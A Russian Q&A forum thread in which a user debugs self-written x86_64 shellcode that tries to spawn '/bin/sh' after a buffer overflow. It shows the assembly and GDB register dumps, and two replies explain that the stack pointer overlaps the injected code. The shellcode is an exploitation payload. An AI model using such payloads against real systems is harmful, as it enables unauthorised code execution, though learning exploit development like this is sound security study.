Почему программа ловит SIGSEGV на инструкции push?

Написан простенький x86_64 шелкод:
BITS 64
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

Через переполнение буфера шелкод попал на выполнение процессором. Все идет хорошо до выполнения 3-й инструкции от конца(push rbx). Дальше программа ловит SIGSEGV и так и не доходит до заветного прерывания - int 0x80. Думал, может стек переполняется, в начале шелкода вставил несколько инструкций pop. В итоге SIGSEGV сменился на SIGILL на той же инструкции - push rbx. Идей вообще никаких нет.
GDB:
=> 0x7fffffffea72:	mov    rdx,rsp
   0x7fffffffea75:	push   rbx
   0x7fffffffea76:	mov    rcx,rsp
   0x7fffffffea79:	mov    al,0xdd
   0x7fffffffea7b:	int    0x80
   0x7fffffffea7d:	(bad)  
   0x7fffffffea7e:	(bad)  
   0x7fffffffea7f:	inc    DWORD PTR [rax]
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea72 in ?? ()
gdb$ n
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA80  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA75
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffea75:	push   rbx
   0x7fffffffea76:	mov    rcx,rsp
   0x7fffffffea79:	mov    al,0xdd
   0x7fffffffea7b:	int    0x80
   0x7fffffffea7d:	(bad)  
   0x7fffffffea7e:	(bad)  
   0x7fffffffea7f:	inc    DWORD PTR [rax]
   0x7fffffffea81:	add    BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea75 in ?? ()
gdb$ n

Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA78  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA76
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
  • Вопрос задан
  • 154 просмотра
Пригласить эксперта
Ответы на вопрос 2
SagePtr
@SagePtr
Еда - это святое
Могу предположить, что сегмент памяти, куда указывает указатель стека, защищён от записи, потому и не получается сделать push.
Ответ написан
jcmvbkbc
@jcmvbkbc
http://dilbert.com/strip/1998-08-24
Указатель стека (RSP: 0x00007FFFFFFFEA78) указывает примерно в то же место, где находится код программы (0x7fffffffea75: push rbx). Код обычно защищён от записи, соответственно записать в стек может быть нельзя по этой причине. Кроме того, если записать в стек таки можно, push rbx как раз перепишет саму себя и следующую инструкцию. Без отладчика это может работать за счёт конвейера, но под отладчиком это работать не будет.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы